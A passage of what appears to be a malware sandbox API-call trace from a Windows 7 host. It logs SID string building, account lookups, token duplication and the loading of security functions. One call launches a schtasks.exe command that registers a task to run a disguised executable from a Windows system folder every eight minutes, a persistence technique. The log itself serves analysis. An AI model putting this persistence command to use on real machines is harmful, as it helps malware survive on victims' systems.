_Src=0x1424e8, _Size=0x4 | out: _Dst=0x12d74a) returned 0x12d74a [0161.030] free (_Block=0x2af260) [0161.030] free (_Block=0x2af280) [0161.030] malloc (_Size=0x18) returned 0x2af280 [0161.030] malloc (_Size=0x18) returned 0x2af260 [0161.030] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0161.030] SysStringLen (param_1="1000") returned 0x4 [0161.031] memcpy (in: _Dst=0x171608, _Src=0x12d6f8, _Size=0x56 | out: _Dst=0x171608) returned 0x171608 [0161.031] memcpy (in: _Dst=0x17165c, _Src=0x1424e8, _Size=0xa | out: _Dst=0x17165c) returned 0x17165c [0161.031] free (_Block=0x2af180) [0161.031] free (_Block=0x2af280) [0161.031] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0161.031] malloc (_Size=0x5e) returned 0x2b0ad0 [0161.032] free (_Block=0x2af260) [0161.032] malloc (_Size=0x18) returned 0x2af260 [0161.032] free (_Block=0x2b0ad0) [0161.032] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0161.033] GetLastError () returned 0x7a [0161.033] malloc (_Size=0x14) returned 0x2af280 [0161.033] malloc (_Size=0x16) returned 0x2af180 [0161.033] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af280, cchName=0xe7ca94, ReferencedDomainName=0x2af180, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0161.034] malloc (_Size=0x18) returned 0x2af240 [0161.034] malloc (_Size=0x18) returned 0x2af1a0 [0161.034] free (_Block=0x2af280) [0161.034] free (_Block=0x2af180) [0161.034] free (_Block=0x2b86e0) [0161.034] free (_Block=0x2af1a0) [0161.034] free (_Block=0x2af240) [0161.034] free (_Block=0x2af260) [0161.035] free (_Block=0x2b8b50) [0161.035] malloc (_Size=0x48) returned 0x2ad680 [0161.035] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0161.040] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0161.040] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0161.040] malloc (_Size=0x18) returned 0x2af260 [0161.040] CreateEnvironmentBlock () returned 0x1 [0161.077] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0161.077] malloc (_Size=0x18) returned 0x2af240 [0161.077] CreateProcessAsUserW (in: hToken=0x1ec, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"yardadultbehindy\" /sc MINUTE /mo 8 /tr \"'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x18a730, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"yardadultbehindy\" /sc MINUTE /mo 8 /tr \"'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'\" /f", lpProcessInformation=0xe7cba0*(hProcess=0x300, hThread=0x2fc, dwProcessId=0x908, dwThreadId=0x90c)) returned 1 [0161.082] CloseHandle (hObject=0x300) returned 1 [0161.082] CloseHandle (hObject=0x2fc) returned 1 [0161.082] free (_Block=0x2af240) [0161.083] DestroyEnvironmentBlock () returned 0x1 [0161.083] malloc (_Size=0x48) returned 0x2ad6d0 [0161.083] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2c3931c0, dwHighDateTime=0x1d8a92a)) [0161.083] SetEvent (hEvent=0x1f0) returned 1 [0161.083] CloseHandle (hObject=0x2ac) returned 1 [0161.083] CloseHandle (hObject=0x1ec) returned 1 [0161.183] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd950 [0161.183] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd950, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0161.184] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0161.520] SetLastError (dwErrCode=0x0) [0161.520] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0161.520] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd940 [0161.520] SetLastError (dwErrCode=0x0) [0161.520] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd940, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd940, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0161.520] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0161.520] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd940 | out: hHeap=0xc0000) returned 1 [0161.520] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12eec0 [0161.521] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12eec0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0161.521] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12eec0 | out: hHeap=0xc0000) returned 1 [0161.522] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0161.523] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0161.523] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0161.523] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0161.524] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0161.524] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0161.524] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0161.526] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0161.526] GetCurrentThread () returned 0xfffffffffffffffe [0161.526] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x2d4) returned 1 [0161.526] malloc (_Size=0xd8) returned 0x2b90e0 [0161.526] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0161.526] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0161.527] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0161.527] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0161.527] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0161.527] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0161.527] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0161.527] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0161.527] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0161.528] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0161.528] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0161.528] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0161.528] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0161.528] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0161.528] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0161.529] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0161.529] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0161.529] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0161.529] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0161.529] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0161.529] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0161.529] malloc (_Size=0x18) returned 0x2af260 [0161.530] DuplicateTokenEx (in: hExistingToken=0x2d4, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x234) returned 1 [0161.530] malloc (_Size=0x48) returned 0x2ad6d0 [0161.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2c7bd840, dwHighDateTime=0x1d8a92a)) [0161.530] SetEvent (hEvent=0x1f0) returned 1 [0161.532] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0161.532] GetLastError () returned 0x7a [0161.532] malloc (_Size=0x2c) returned 0x2b8b10 [0161.532] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x2b8b10, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2b8b10, ReturnLength=0xe7cb60) returned 1 [0161.532] IsValidSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0161.532] GetLengthSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0161.532] malloc (_Size=0x1c) returned 0x2b8710 [0161.532] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8710, pSourceSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8710*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0161.533] GetSidIdentifierAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b22 [0161.533] malloc (_Size=0x18) returned 0x2af260 [0161.533] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0161.533] malloc (_Size=0x18) returned 0x2af240 [0161.533] malloc (_Size=0x18) returned 0x2af1a0 [0161.533] SysStringLen (param_1="S-1-") returned 0x4 [0161.533] SysStringLen (param_1="5") returned 0x1 [0161.533] memcpy (in: _Dst=0x142458, _Src=0x142578, _Size=0xa | out: _Dst=0x142458) returned 0x142458 [0161.533] memcpy (in: _Dst=0x142460, _Src=0x1423c8, _Size=0x4 | out: _Dst=0x142460) returned 0x142460 [0161.533] free (_Block=0x2af260) [0161.533] free (_Block=0x2af240) [0161.533] GetSidSubAuthorityCount (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b21 [0161.533] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b28 [0161.533] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0161.533] malloc (_Size=0x18) returned 0x2af240 [0161.533] malloc (_Size=0x18) returned 0x2af260 [0161.533] SysStringLen (param_1="S-1-5") returned 0x5 [0161.533] SysStringLen (param_1="-") returned 0x1 [0161.533] memcpy (in: _Dst=0x1423c8, _Src=0x142458, _Size=0xc | out: _Dst=0x1423c8) returned 0x1423c8 [0161.534] memcpy (in: _Dst=0x1423d2, _Src=0x142578, _Size=0x4 | out: _Dst=0x1423d2) returned 0x1423d2 [0161.534] free (_Block=0x2af1a0) [0161.534] free (_Block=0x2af240) [0161.534] malloc (_Size=0x18) returned 0x2af240 [0161.534] malloc (_Size=0x18) returned 0x2af1a0 [0161.534] SysStringLen (param_1="S-1-5-") returned 0x6 [0161.534] SysStringLen (param_1="21") returned 0x2 [0161.534] memcpy (in: _Dst=0x142578, _Src=0x1423c8, _Size=0xe | out: _Dst=0x142578) returned 0x142578 [0161.534] memcpy (in: _Dst=0x142584, _Src=0x142458, _Size=0x6 | out: _Dst=0x142584) returned 0x142584 [0161.534] free (_Block=0x2af260) [0161.534] free (_Block=0x2af240) [0161.534] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b2c [0161.534] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0161.534] malloc (_Size=0x18) returned 0x2af240 [0161.534] malloc (_Size=0x18) returned 0x2af260 [0161.534] SysStringLen (param_1="S-1-5-21") returned 0x8 [0161.534] SysStringLen (param_1="-") returned 0x1 [0161.534] memcpy (in: _Dst=0x142458, _Src=0x142578, _Size=0x12 | out: _Dst=0x142458) returned 0x142458 [0161.534] memcpy (in: _Dst=0x142468, _Src=0x1423c8, _Size=0x4 | out: _Dst=0x142468) returned 0x142468 [0161.534] free (_Block=0x2af1a0) [0161.535] free (_Block=0x2af240) [0161.535] malloc (_Size=0x18) returned 0x2af240 [0161.535] malloc (_Size=0x18) returned 0x2af1a0 [0161.535] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0161.535] SysStringLen (param_1="4219442223") returned 0xa [0161.535] memcpy (in: _Dst=0x1179f8, _Src=0x142458, _Size=0x14 | out: _Dst=0x1179f8) returned 0x1179f8 [0161.535] memcpy (in: _Dst=0x117a0a, _Src=0x142578, _Size=0x16 | out: _Dst=0x117a0a) returned 0x117a0a [0161.535] free (_Block=0x2af260) [0161.535] free (_Block=0x2af240) [0161.535] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b30 [0161.535] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0161.535] malloc (_Size=0x18) returned 0x2af240 [0161.535] malloc (_Size=0x18) returned 0x2af260 [0161.535] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0161.535] SysStringLen (param_1="-") returned 0x1 [0161.535] memcpy (in: _Dst=0x1179a8, _Src=0x1179f8, _Size=0x28 | out: _Dst=0x1179a8) returned 0x1179a8 [0161.535] memcpy (in: _Dst=0x1179ce, _Src=0x142458, _Size=0x4 | out: _Dst=0x1179ce) returned 0x1179ce [0161.535] free (_Block=0x2af1a0) [0161.535] free (_Block=0x2af240) [0161.535] malloc (_Size=0x18) returned 0x2af240 [0161.535] malloc (_Size=0x18) returned 0x2af1a0 [0161.536] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0161.536] SysStringLen (param_1="4223814209") returned 0xa [0161.536] memcpy (in: _Dst=0x107588, _Src=0x1179a8, _Size=0x2a | out: _Dst=0x107588) returned 0x107588 [0161.536] memcpy (in: _Dst=0x1075b0, _Src=0x142458, _Size=0x16 | out: _Dst=0x1075b0) returned 0x1075b0 [0161.536] free (_Block=0x2af260) [0161.536] free (_Block=0x2af240) [0161.536] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b34 [0161.536] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0161.536] malloc (_Size=0x18) returned 0x2af240 [0161.536] malloc (_Size=0x18) returned 0x2af260 [0161.536] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0161.536] SysStringLen (param_1="-") returned 0x1 [0161.536] memcpy (in: _Dst=0x12dc48, _Src=0x107588, _Size=0x3e | out: _Dst=0x12dc48) returned 0x12dc48 [0161.536] memcpy (in: _Dst=0x12dc84, _Src=0x142458, _Size=0x4 | out: _Dst=0x12dc84) returned 0x12dc84 [0161.536] free (_Block=0x2af1a0) [0161.536] free (_Block=0x2af240) [0161.536] malloc (_Size=0x18) returned 0x2af240 [0161.536] malloc (_Size=0x18) returned 0x2af1a0 [0161.536] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0161.536] SysStringLen (param_1="3835049652") returned 0xa [0161.537] memcpy (in: _Dst=0x107588, _Src=0x12dc48, _Size=0x40 | out: _Dst=0x107588) returned 0x107588 [0161.537] memcpy (in: _Dst=0x1075c6, _Src=0x142458, _Size=0x16 | out: _Dst=0x1075c6) returned 0x1075c6 [0161.537] free (_Block=0x2af260) [0161.537] free (_Block=0x2af240) [0161.537] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b38 [0161.537] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0161.537] malloc (_Size=0x18) returned 0x2af240 [0161.537] malloc (_Size=0x18) returned 0x2af260 [0161.537] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0161.537] SysStringLen (param_1="-") returned 0x1 [0161.537] memcpy (in: _Dst=0x12dc48, _Src=0x107588, _Size=0x54 | out: _Dst=0x12dc48) returned 0x12dc48 [0161.537] memcpy (in: _Dst=0x12dc9a, _Src=0x142458, _Size=0x4 | out: _Dst=0x12dc9a) returned 0x12dc9a [0161.537] free (_Block=0x2af1a0) [0161.537] free (_Block=0x2af240) [0161.537] malloc (_Size=0x18) returned 0x2af240 [0161.537] malloc (_Size=0x18) returned 0x2af1a0 [0161.537] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0161.537] SysStringLen (param_1="1000") returned 0x4 [0161.537] memcpy (in: _Dst=0x107588, _Src=0x12dc48, _Size=0x56 | out: _Dst=0x107588) returned 0x107588 [0161.537] memcpy (in: _Dst=0x1075dc, _Src=0x142458, _Size=0xa | out: _Dst=0x1075dc) returned 0x1075dc [0161.538] free (_Block=0x2af260) [0161.538] free (_Block=0x2af240) [0161.538] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0161.538] malloc (_Size=0x5e) returned 0x2b0ad0 [0161.538] free (_Block=0x2af1a0) [0161.538] malloc (_Size=0x18) returned 0x2af1a0 [0161.538] free (_Block=0x2b0ad0) [0161.538] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0161.539] GetLastError () returned 0x7a [0161.539] malloc (_Size=0x14) returned 0x2af240 [0161.539] malloc (_Size=0x16) returned 0x2af260 [0161.539] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af240, cchName=0xe7ca84, ReferencedDomainName=0x2af260, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0161.540] malloc (_Size=0x18) returned 0x2af180 [0161.540] malloc (_Size=0x18) returned 0x2af280 [0161.540] free (_Block=0x2af240) [0161.540] free (_Block=0x2af260) [0161.540] free (_Block=0x2b8710) [0161.540] free (_Block=0x2af280) [0161.540] free (_Block=0x2af180) [0161.541] free (_Block=0x2af1a0) [0161.541] free (_Block=0x2b8b10) [0161.542] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x10a020, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0161.542] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0161.542] GetLastError () returned 0x7a [0161.542] malloc (_Size=0x2c) returned 0x2b8b50 [0161.542] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x2b8b50, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2b8b50, ReturnLength=0xe7cbf8) returned 1 [0161.542] IsValidSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0161.542] GetLengthSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0161.542] malloc (_Size=0x1c) returned 0x2b8710 [0161.542] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8710, pSourceSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8710*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0161.542] GetSidIdentifierAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b62 [0161.542] malloc (_Size=0x18) returned 0x2af1a0 [0161.542] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0161.542] malloc (_Size=0x18) returned 0x2af180 [0161.542] malloc (_Size=0x18) returned 0x2af280 [0161.542] SysStringLen (param_1="S-1-") returned 0x4 [0161.542] SysStringLen (param_1="5") returned 0x1 [0161.542] memcpy (in: _Dst=0x142578, _Src=0x1423c8, _Size=0xa | out: _Dst=0x142578) returned 0x142578 [0161.542] memcpy (in: _Dst=0x142580, _Src=0x142458, _Size=0x4 | out: _Dst=0x142580) returned 0x142580 [0161.542] free (_Block=0x2af1a0) [0161.542] free (_Block=0x2af180) [0161.543] GetSidSubAuthorityCount (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b61 [0161.543] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b68 [0161.543] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0161.543] malloc (_Size=0x18) returned 0x2af180 [0161.543] malloc (_Size=0x18) returned 0x2af1a0 [0161.543] SysStringLen (param_1="S-1-5") returned 0x5 [0161.543] SysStringLen (param_1="-") returned 0x1 [0161.543] memcpy (in: _Dst=0x142458, _Src=0x142578, _Size=0xc | out: _Dst=0x142458) returned 0x142458 [0161.543] memcpy (in: _Dst=0x142462, _Src=0x1423c8, _Size=0x4 | out: _Dst=0x142462) returned 0x142462 [0161.543] free (_Block=0x2af280) 